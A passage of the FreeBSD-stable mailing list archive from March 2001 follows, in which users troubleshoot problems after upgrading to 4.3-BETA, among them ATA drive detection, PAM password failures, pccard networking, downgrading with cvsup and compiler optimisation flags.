Re: Pb with ATA driver and FBSD-4.3 References: <86hf112jnd.fsf@titine.fr.eu.org> From: Eric Jacoboni Date: 11 Mar 2001 13:02:36 +0100 In-Reply-To: <86hf112jnd.fsf@titine.fr.eu.org> (Eric Jacoboni's message of "11 Mar 2001 02:12:38 +0100") Message-ID: <86itlgjyxv.fsf@titine.fr.eu.org> Lines: 18 User-Agent: Gnus/5.090001 (Oort Gnus v0.01) Emacs/21.0.99 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Jaco" == Eric Jacoboni writes: Jaco> It seems there is a (big) problem with ATA driver as dmesg says : Jaco> acd0: CDROM at ata1-master using UDMA33 Jaco> ata1-slave: <ÿÿÛí ÿÿÛí/ÿÿßÿ> Unknown device - NO DRIVER! Jaco> I've don't changed anything with my kernconf : just cvsup, make Jaco> buildword/buildkernel/installkernel/installworld, mergemaster, reboot. Jaco> Is this problem known ? Ahem... Sorry for this wrong assertion : it seems it's related to the drive, not to FreeBSD. After some tests, i've noticed the drive is no more seen even by the BIOS... This wonderful Win2000 simply refuses to boot. -- Éric Jacoboni, né il y a 1287673175 secondes. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 4: 7:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from level3.dynacom.net (level3.dynacom.net [206.107.213.213]) by hub.freebsd.org (Postfix) with SMTP id 53AA937B718 for ; Sun, 11 Mar 2001 04:07:37 -0800 (PST) (envelope-from kstewart@urx.com) Received: (qmail 26439 invoked by uid 0); 11 Mar 2001 12:07:36 -0000 Received: from unknown (HELO urx.com) (206.159.132.160) by mail.urx.com with SMTP; 11 Mar 2001 12:07:36 -0000 Message-ID: <3AAB6A87.A1E3D7E9@urx.com> Date: Sun, 11 Mar 2001 04:07:35 -0800 From: Kent Stewart Reply-To: kstewart@urx.com Organization: Dynacom X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Gunnar Flygt Cc: FreeBSD Stable Subject: Re: Mixer not working anymore References: <20010311121605.A27250@sr.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gunnar Flygt wrote: > > I cvsup'ed tonight, rebult world and now my mixer device isn't working. > Anyone else having similar problems? I did a cvsup, build[world,kernel], install[kernel,world], and mergemaster. I finished about 1.5 hours ago and after rebooting, can hear the stereo audio from a cd that is playing on the system on both floors of the house. The sub-woofer carries a long way :). Kent -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://kstewart.urx.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 6:56:23 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp2.free.fr (smtp2.free.fr [212.27.32.6]) by hub.freebsd.org (Postfix) with ESMTP id 27ABD37B719 for ; Sun, 11 Mar 2001 06:56:19 -0800 (PST) (envelope-from pmialon@free.fr) Received: from imp2-1.free.fr (imp2-1.free.fr [213.228.0.22]) by smtp2.free.fr (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA03977 for ; Sun, 11 Mar 2001 15:56:17 +0100 Received: (from www-data@localhost) by imp2-1.free.fr (8.11.2/8.11.2/Debian 8.11.2-1) id f2BEuHq07830 for freebsd-stable@freebsd.org; Sun, 11 Mar 2001 15:56:17 +0100 X-Authentication-Warning: imp2-1.free.fr: www-data set sender to pmialon@free.fr using -f To: freebsd-stable@freebsd.org Subject: No ping reponse on pccard Message-ID: <984322577.3aab92117f3f8@imp.free.fr> Date: Sun, 11 Mar 2001 15:56:17 +0100 (MET) From: Pierre-Gilles Mialon MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.3 X-Originating-IP: 212.27.42.194 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a network at home and since I upgrade to stable 4.3beta, my Netgear FA410 TXC doesn't answer on the icmp request. I can nmap localhost from the computer itself but I cannot ping or ssh it from other host. On this computer I can ssh ping on all computer on the network. The computer that cannot be ping is a nfs server to and it allow the nfs mount... So I don't have icmp working and tcp but rcp work... I verify my arp adress too but everything is ok the arp address and the arp address are good on all the network. If anybody have an idea... Thanks a lot. here the result of tcpdump on chappy when I ping chappy from solex tcpdump: listening on ed1 13:36:34.182530 solex.ici > chappy.ici: icmp: echo request 13:36:35.187236 solex.ici > chappy.ici: icmp: echo request 13:36:36.197174 solex.ici > chappy.ici: icmp: echo request 13:36:37.207134 solex.ici > chappy.ici: icmp: echo request here is a result of ~ % sysctl -A | grep icmp 1:15 #1003 net.inet.icmp.maskrepl: 0 net.inet.icmp.stats: Format:S,icmpstat Length:192 Dump:0x00000000000000000000000000000000... net.inet.icmp.icmplim: -1 net.inet.icmp.drop_redirect: 0 net.inet.icmp.log_redirect: 0 net.inet.icmp.bmcastecho: 0 net.inet.tcp.icmp_may_rst: 1 ~ % sysctl -A | grep tcp 1:28 #1004 tcpcb: 544, 768, 13, 15, 97 net.inet.tcp.rfc1323: 0 net.inet.tcp.rfc1644: 0 net.inet.tcp.mssdflt: 512 net.inet.tcp.rfc1323: 0 net.inet.tcp.rfc1644: 0 net.inet.tcp.mssdflt: 512 net.inet.tcp.stats: Format:S,tcpstat Length:244 Dump:0x44000000040000003f0000000 2000000... net.inet.tcp.keepidle: 7200000 net.inet.tcp.keepintvl: 75000 net.inet.tcp.sendspace: 16384 net.inet.tcp.recvspace: 16384 net.inet.tcp.keepinit: 75000 net.inet.tcp.pcblist: Format:S,xtcpcb Length:6444 Dump:0x180000000d0000000901000 000000000... net.inet.tcp.delacktime: 100 net.inet.tcp.log_in_vain: 0 net.inet.tcp.blackhole: 0 net.inet.tcp.delayed_ack: 1 net.inet.tcp.tcp_lq_overflow: 1 net.inet.tcp.path_mtu_discovery: 1 net.inet.tcp.slowstart_flightsize: 1 net.inet.tcp.local_slowstart_flightsize: 65535 net.inet.tcp.newreno: 1 net.inet.tcp.tcbhashsize: 512 net.inet.tcp.do_tcpdrain: 1 net.inet.tcp.pcbcount: 13 net.inet.tcp.icmp_may_rst: 1 net.inet.tcp.msl: 30000 net.inet.tcp.always_keepalive: 1 -- _____________________________________________________________________ Pierre-Gilles Mialon | Métro Jules Joffrin | email : 13 rue des Cloÿs | Digicode : B321 | 75018 PARIS | tel : 01 42 51 76 23 | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 7:13:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135]) by hub.freebsd.org (Postfix) with ESMTP id DE61137B718 for ; Sun, 11 Mar 2001 07:13:39 -0800 (PST) (envelope-from dim@xs4all.nl) Received: from dim0 (dim.xs4all.nl [194.109.60.132]) by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id QAA23947; Sun, 11 Mar 2001 16:13:20 +0100 (CET) Message-ID: <200103111613360803.006FC721@smtp.xs4all.nl> In-Reply-To: References: X-Mailer: Calypso Version 3.20.02.00 (4) Date: Sun, 11 Mar 2001 16:13:36 +0100 From: "Dimitry Andric" To: "Michael Conlen" , "Zero Sum" , freebsd-stable@FreeBSD.ORG Subject: RE: POP3 Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 2001-03-10 at 23:47 Michael Conlen wrote: >Check your pam.conf. I've seen at least two problems with this >recently. I'm having all sorts of PAM issues with ssh. I've never modified pam.conf after I installed FreeBSD, but since I cvsupped to 4.3-BETA two days ago, I now also have problems with sudo and password-related tools. Passwords are refused to be accepted in a seemingly random manner. Also, when using /usr/bin/passwd to try to change passwords, I'll get: Changing local password for dim. Old password: passwd: (null): Permission denied passwd: /etc/master.passwd: unchanged This (null) stuff is never OK, what could be wrong here? Because I'm using RSA keys with ssh, I didn't notice anything there, luckily. >Check your log files, if you get a message about having problems >finding a module for it then that's probably it. I checked /var/log/*, but there aren't any PAM-related log messages. Where would such errors be logged normally? Btw, while mergemastering I noticed an addition to /etc/login.conf for 4.3-BETA: default:\ + :passwd_format=3Dmd5:\ :copyright=3D/etc/COPYRIGHT:\ which I'm suspecting of causing the problem, see . Please correct me if I'm totally off-base here. Cheers, - -- Dimitry Andric PGP key: http://www.xs4all.nl/~dim/dim.asc KeyID: 4096/1024-0x2E2096A3 Fingerprint: 7AB4 62D2 CE35 FC6D 4239 4FCD B05E A30A 2E20 96A3 -----BEGIN PGP SIGNATURE----- Version: Encrypted with PGP Plugin for Calypso Comment: http://www.gn.apc.org/duncan/stoa_cover.htm iQA/AwUBOquIB7BeowouIJajEQLoAACfU4tKjeGsFIgC3saLPp3BBD3Ima4AnAuP mLiglZFtrGQyCPSWcWydQVKd =3DM9nk -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 7:31:43 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nyc.rr.com (nycsmtp3fb.rdc-nyc.rr.com [24.29.99.80]) by hub.freebsd.org (Postfix) with ESMTP id C5D5437B718 for ; Sun, 11 Mar 2001 07:31:39 -0800 (PST) (envelope-from rrivers@nyc.rr.com) Received: from nyc.rr.com ([66.65.90.203]) by nyc.rr.com with Microsoft SMTPSVC(5.5.1877.357.35); Sun, 11 Mar 2001 10:34:05 -0500 Message-ID: <3AAB9A51.85B9EB2C@nyc.rr.com> Date: Sun, 11 Mar 2001 10:31:31 -0500 From: Ronald Rivers X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: stable@FreeBSD.org Subject: subscribe Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 8: 8: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp-server1.tampabay.rr.com (smtp-server1.tampabay.rr.com [65.32.1.34]) by hub.freebsd.org (Postfix) with ESMTP id 2696637B71A for ; Sun, 11 Mar 2001 08:08:03 -0800 (PST) (envelope-from meconlen@obfuscated.net) Received: from clarity (24129168hfc216.tampabay.rr.com [24.129.168.216]) by smtp-server1.tampabay.rr.com (8.11.2/8.11.2) with SMTP id f2BG7p014877; Sun, 11 Mar 2001 11:07:51 -0500 (EST) From: "Michael Conlen" To: "Dimitry Andric" , "Zero Sum" , Subject: RE: POP3 Date: Sun, 11 Mar 2001 11:02:17 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 In-reply-to: <200103111613360803.006FC721@smtp.xs4all.nl> Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I didn't change anything either, but after cvsuping once I lost ssh login ability. Since it's the only thing I used across the network it's the only one I noticed. I'm not sure what went on. You wouldn't notice it as a PAM message, it would appear to be from the application that's failing on login if it's PAM. OTOH it could be something else completly. I've just seen this a few times recently. -- Groove On Dude Michael Conlen Obfuscated Networking meconlen@obfuscated.net > -----Original Message----- > From: Dimitry Andric [mailto:dim@xs4all.nl] > Sent: Sunday, March 11, 2001 10:14 AM > To: Michael Conlen; Zero Sum; freebsd-stable@FreeBSD.ORG > Subject: RE: POP3 > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On 2001-03-10 at 23:47 Michael Conlen wrote: > > >Check your pam.conf. I've seen at least two problems with this > >recently. I'm having all sorts of PAM issues with ssh. > > I've never modified pam.conf after I installed FreeBSD, but since I > cvsupped to 4.3-BETA two days ago, I now also have problems with sudo > and password-related tools. Passwords are refused to be accepted in a > seemingly random manner. Also, when using /usr/bin/passwd to try to > change passwords, I'll get: > > Changing local password for dim. > Old password: > passwd: (null): Permission denied > passwd: /etc/master.passwd: unchanged > > This (null) stuff is never OK, what could be wrong here? > > Because I'm using RSA keys with ssh, I didn't notice anything there, > luckily. > > > >Check your log files, if you get a message about having problems > >finding a module for it then that's probably it. > > I checked /var/log/*, but there aren't any PAM-related log messages. > Where would such errors be logged normally? > > Btw, while mergemastering I noticed an addition to /etc/login.conf > for 4.3-BETA: > > default:\ > + :passwd_format=md5:\ > :copyright=/etc/COPYRIGHT:\ > > which I'm suspecting of causing the problem, see > .2.2&r2=1.34.2.3>. Please correct me if I'm totally off-base here. > > Cheers, > - -- > Dimitry Andric > PGP key: http://www.xs4all.nl/~dim/dim.asc > KeyID: 4096/1024-0x2E2096A3 > Fingerprint: 7AB4 62D2 CE35 FC6D 4239 4FCD B05E A30A 2E20 96A3 > > -----BEGIN PGP SIGNATURE----- > Version: Encrypted with PGP Plugin for Calypso > Comment: http://www.gn.apc.org/duncan/stoa_cover.htm > > iQA/AwUBOquIB7BeowouIJajEQLoAACfU4tKjeGsFIgC3saLPp3BBD3Ima4AnAuP > mLiglZFtrGQyCPSWcWydQVKd > =M9nk > -----END PGP SIGNATURE----- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 8:25:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from home.cg.nu (home.cg.nu [213.196.2.115]) by hub.freebsd.org (Postfix) with ESMTP id 3142837B718 for ; Sun, 11 Mar 2001 08:25:43 -0800 (PST) (envelope-from henk@home.cg.nu) Received: from kpnlep (henk [213.93.106.195]) by home.cg.nu (Postfix) with SMTP id 2FC9E158F2B for ; Sun, 11 Mar 2001 17:25:41 +0100 (CET) Reply-To: From: "Henk Wevers" To: Subject: Downgrading with cvsup? Date: Sun, 11 Mar 2001 17:25:41 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How can i downgrade to 4.2-STABLE with cvsup? Jail and Dummynet are not working correct in 4.3-BETA. I did see a date= function in man cvsup, but how to use it? I want to ga back to the beginning of Februari, than jail and dummynet did work correctly. Henk Wevers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 9:16:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from news.IAEhv.nl (news.iae.nl [212.61.26.37]) by hub.freebsd.org (Postfix) with ESMTP id 494DA37B719 for ; Sun, 11 Mar 2001 09:16:37 -0800 (PST) (envelope-from Arjan.deVet@adv.iae.nl) Received: (from uucp@localhost) by news.IAEhv.nl (8.9.1/8.9.1) with IAEhv.nl id SAA12990 for stable@freebsd.org; Sun, 11 Mar 2001 18:16:36 +0100 (MET) Received: by adv.devet.org (Postfix, from userid 100) id 976D25064; Sun, 11 Mar 2001 18:16:28 +0100 (CET) Date: Sun, 11 Mar 2001 18:16:28 +0100 To: stable@freebsd.org Subject: Why does rc.shutdown not call '/usr/local/etc/rc.d/*.sh stop'? Message-ID: <20010311181628.A456@adv.devet.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i From: Arjan.deVet@adv.iae.nl (Arjan de Vet) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG While doing a mergemaster run I came across a local modification I use on my -stable system for some time now: --- rc.shutdown Sun Mar 11 17:50:42 2001 +++ /etc/rc.shutdown Wed Feb 21 21:04:31 2001 @@ -74,10 +74,9 @@ if [ -x "${script}" ]; then grep -wq stop "${script}" || \ oldscripts="${oldscripts} ${script}" -# XXX not yet -# (set -T -# trap 'exit 1' 2 -# ${script} stop) + (set -T + trap 'exit 1' 2 + ${script} stop) fi done fi What's the reason that -stable still has that 'XXX not yet' here? Arjan -- Arjan de Vet, Eindhoven, The Netherlands URL: http://www.iae.nl/users/devet/ for PGP key: finger devet@iae.nl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 10: 2:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 1930A37B718 for ; Sun, 11 Mar 2001 10:02:43 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2BI2fu15402 for stable@freebsd.org; Sun, 11 Mar 2001 12:02:41 -0600 (CST) (envelope-from ler) Date: Sun, 11 Mar 2001 12:02:41 -0600 From: Larry Rosenman To: stable@freebsd.org Subject: cputype=486 Message-ID: <20010311120241.A15202@lerami.lerctr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.16i X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG If I make buildworld with CPUTYPE=i486 (on my P-III), and then make installworld on the 486 target, we get a signal 4 in the first install of code, in strip. I'm re-building without CPUTYPE, but thought someone might care. I use a real i486DX4-100 as my FireWall. THis is with CVSUP from yesterday late (:US/Central, UTC -0600). I know, unset the flag. WOrking on that. I will report more in 2-3 hours when the buildworld is done. LER -- Larry Rosenman http://www.lerctr.org/~ler Phone: +1 972-414-9812 E-Mail: ler@lerctr.org US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 11:59:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from freebsd.org.ru (sweet.etrust.ru [194.84.67.5]) by hub.freebsd.org (Postfix) with ESMTP id AE17937B719 for ; Sun, 11 Mar 2001 11:59:23 -0800 (PST) (envelope-from osa@freebsd.org.ru) Received: by freebsd.org.ru (Postfix, from userid 1000) id 8B7901E2; Sun, 11 Mar 2001 22:59:21 +0300 (MSK) Date: Sun, 11 Mar 2001 22:59:21 +0300 From: "Sergey A. Osokin" To: Henk Wevers Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Downgrading with cvsup? Message-ID: <20010311225921.A81690@freebsd.org.ru> Reply-To: osa@FreeBSD.org.ru References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from henk@home.cg.nu on Sun, Mar 11, 2001 at 05:25:41PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Mar 11, 2001 at 05:25:41PM +0100, Henk Wevers wrote: > How can i downgrade to 4.2-STABLE with cvsup? > Jail and Dummynet are not working correct in 4.3-BETA. > I did see a date= function in man cvsup, but how to use it? > > I want to ga back to the beginning of Februari, than jail and dummynet > did work correctly. > From man cvsup(1) date=[cc]yy.mm.dd.hh.mm.ss This specifies a date that should be used to select the revi- sions that are checked out from the CVS repository. The client will receive the revisions that were in effect at the specified date and time. At present, the date format is inflexible. All 17 or 19 characters must be specified, exactly as shown. For the years 2000 and beyond, specify the century cc. For earlier years, specify only the last two digits yy. Dates and times are considered to be GMT. The default date is `.', which means ``as late as possible''. It means that date must be 1) in GMT 2) 01.01.01.00.00.00 - 00 hours 00 mins 00 secs at 1st Jan of 2001 3) at your cvsupfile u must say: *default tag=RELENG_4 date=01.01.01.00.00.00 it means get sources from RELENG_4 at 1st Jan of 2001 00.00.00 Please undertsand that date in GMT(!!!) format. -- Rgdz, /"\ Sergey Osokin aka oZZ, \ / ASCII RIBBON CAMPAIGN osa@freebsd.org.ru X AGAINST HTML MAIL http://freebsd.org.ru/~osa/ / \ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 12: 8:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from freebsd.org.ru (sweet.etrust.ru [194.84.67.5]) by hub.freebsd.org (Postfix) with ESMTP id D8D2C37B718 for ; Sun, 11 Mar 2001 12:08:48 -0800 (PST) (envelope-from osa@freebsd.org.ru) Received: by freebsd.org.ru (Postfix, from userid 1000) id CACB41E3; Sun, 11 Mar 2001 23:08:47 +0300 (MSK) Date: Sun, 11 Mar 2001 23:08:47 +0300 From: "Sergey A. Osokin" To: Kaltashkin Eugene Cc: stable@FreeBSD.org Subject: Re: Strange error in make release Message-ID: <20010311230847.B81690@freebsd.org.ru> Reply-To: osa@FreeBSD.org.ru References: <200103110827.LAA01252@ns.klondike.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103110827.LAA01252@ns.klondike.ru>; from zhecka@klondike.ru on Sun, Mar 11, 2001 at 11:30:10AM +0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Mar 11, 2001 at 11:30:10AM +0000, Kaltashkin Eugene wrote: > Hi ppls > > After cvsup 11.03.2001 i see this message. > What is it ? > > ===> bin/csh/nls/greek > install -c -o root -g wheel -m 444 tcsh.cat /usr2/release/usr/share/nls/el_GR.ISO_8859-7/tcsh.cat > install: tcsh.cat: No such file or directory > *** Error code 71 > > Stop in /usr/src/bin/csh/nls/greek. > *** Error code 1 > Maybe this help you: http://www.freebsd.org/cgi/cvsweb.cgi/src/bin/csh/nls/Makefile.diff?r1=1.5.2.1&r2=1.5.2.2&only_with_tag=RELENG_4&f=h -- Rgdz, /"\ Sergey Osokin aka oZZ, \ / ASCII RIBBON CAMPAIGN osa@freebsd.org.ru X AGAINST HTML MAIL http://freebsd.org.ru/~osa/ / \ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 12:14:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from burdell.cc.gatech.edu (burdell.cc.gatech.edu [130.207.3.207]) by hub.freebsd.org (Postfix) with ESMTP id 7151337B719 for ; Sun, 11 Mar 2001 12:14:16 -0800 (PST) (envelope-from dibble@cc.gatech.edu) Received: from felix.cc.gatech.edu (felix.cc.gatech.edu [130.207.107.11]) by burdell.cc.gatech.edu (8.9.1/8.9.3) with ESMTP id PAA01053 for ; Sun, 11 Mar 2001 15:14:15 -0500 (EST) Received: from jefflee.cnd.gatech.edu (r55h47.res.gatech.edu [128.61.55.47]) by felix.cc.gatech.edu (8.9.3+Sun/8.9.1) with SMTP id PAA05587 for ; Sun, 11 Mar 2001 15:14:14 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: "Jeffrey J. Lee" Reply-To: dibble@cc.gatech.edu Organization: Georgia Tech To: freebsd-stable@freebsd.org Subject: strange pcm0 errors Date: Sun, 11 Mar 2001 15:11:40 -0500 X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <01031115114000.57156@jefflee.cnd.gatech.edu> Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This may be a little off topic, but I think that it has something to do w= ith=20 the kernel. After building and installing kde2 on my 4.3-beta system, I=20 configured my soundcard using settings that worked great on 4.2-stable of= =20 late February under kde1.?. but after this new upgrade, I run kde for a=20 while then exit using ctrl-alt-bkspc, and I see the following errors occu= red=20 while kde was running: pcm0: record overrun, dumping 178112 bytes this is scattered throughout the usual output with maybe some different=20 amounts that it dumped. What could be going on with this? --=20 #################### Jeff Lee Dibble@cc.gatech.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 12:40:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 640D437B719 for ; Sun, 11 Mar 2001 12:40:22 -0800 (PST) (envelope-from dmmiller@cvzoom.net) Received: (qmail 11369 invoked from network); 11 Mar 2001 20:34:25 -0000 Received: from acs-24-154-53-165.zoominternet.net (HELO cvzoom.net) (24.154.53.165) by scully.zoominternet.net with SMTP; 11 Mar 2001 20:34:25 -0000 Message-ID: <3AABE2B5.D808C4E0@cvzoom.net> Date: Sun, 11 Mar 2001 15:40:21 -0500 From: Donn Miller X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Roman Shterenzon Cc: Matt Dillon , "freebsd-stable@FreeBSD.ORG" Subject: Re: ARCH flag in new make.conf References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Roman Shterenzon wrote: > > Just wanted to say that for RELENG_3 with gcc 2.7.2.3 or whatever it was, > -O2 worked just fine for me (both kernel and userland, I stopped building > userland with -O2 since 3.3 because it took much more time to build world). > Also, linux that used the same gcc always built kernel with -O2. > So, I believe that 2.95.2 is the one that having the problems. I think that in the case of the FreeBSD kernel or userland, anything about -O will not help much at all. The userland code is pretty much optimized and streamlined as much as possible, i.e., register variables are spec'd whenever possible. -O2 helps significantly whenever you have a lot of very large loops, and I'm not so sure the world+kernel source code has lots of very large and numerous for and while loops. Plus, it prolongs the buildworld time. -O3 just inlines functions wheverever possible, bloating things. Also, I've noticed subtle problems with gcc and tools when I've built world with anything higher than -O. For example, when gcc is built with -O2 or -Os, I've noticed that it starts acting a little quirky, e.g., eating up large amounts of memory. Building world with -O fixes this. XFree86 4-current has problems with pthreads whenever you build the code with -O3, i.e., I get "undefined reference to [some pthread function]". Dropping back to -O2 fixes this. BTW, XFree86 4-current supports threading on FreeBSD now by default, right "out of the box". It's about time! Thank you, thank you, whomever committed those changes. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 12:42:14 2001 Delivered-To: freebsd-stable@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 2511237B71A for ; Sun, 11 Mar 2001 12:42:11 -0800 (PST) (envelope-from dmmiller@cvzoom.net) Received: (qmail 15850 invoked from network); 11 Mar 2001 20:36:14 -0000 Received: from acs-24-154-53-165.zoominternet.net (HELO cvzoom.net) (24.154.53.165) by scully.zoominternet.net with SMTP; 11 Mar 2001 20:36:14 -0000 Message-ID: <3AABE322.484DA5B9@cvzoom.net> Date: Sun, 11 Mar 2001 15:42:10 -0500 From: Donn Miller X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Roman Shterenzon Cc: Kris Kennaway , stable@FreeBSD.ORG Subject: Re: HEADS UP: lots of updates References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Roman Shterenzon wrote: > I *think* that for K6-2 having -march=pentium gives better performance > than -march=k6 ; could someone prove it or prove it wrong? Gcc is a very unpredictable compiler. For example, on a Pentium MMX, I've noticed in my tests that code compiled with -O2 ran slightly faster than code compiled with -march=pentium -O2. Of course, they were very simple tests. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 13: 9:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from falcon.home.hentschel.net (w002.z064221160.smf-ca.dsl.cnc.net [64.221.160.2]) by hub.freebsd.org (Postfix) with ESMTP id 3A37937B718 for ; Sun, 11 Mar 2001 13:09:43 -0800 (PST) (envelope-from thomas@hentschel.net) Received: from hentschel.net (user@localhost [127.0.0.1]) by falcon.home.hentschel.net (8.11.2/8.11.2) with ESMTP id f2BLA4M16886; Sun, 11 Mar 2001 13:10:05 -0800 (PST) (envelope-from thomas@hentschel.net) Message-Id: <200103112110.f2BLA4M16886@falcon.home.hentschel.net> Date: Sun, 11 Mar 2001 13:10:03 -0800 (PST) From: thomas@hentschel.net Subject: Re: Mixer not working anymore To: Kris Kennaway Cc: Gunnar Flygt , FreeBSD Stable In-Reply-To: <20010311033821.A40247@mollari.cthul.hu> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11 Mar, Kris 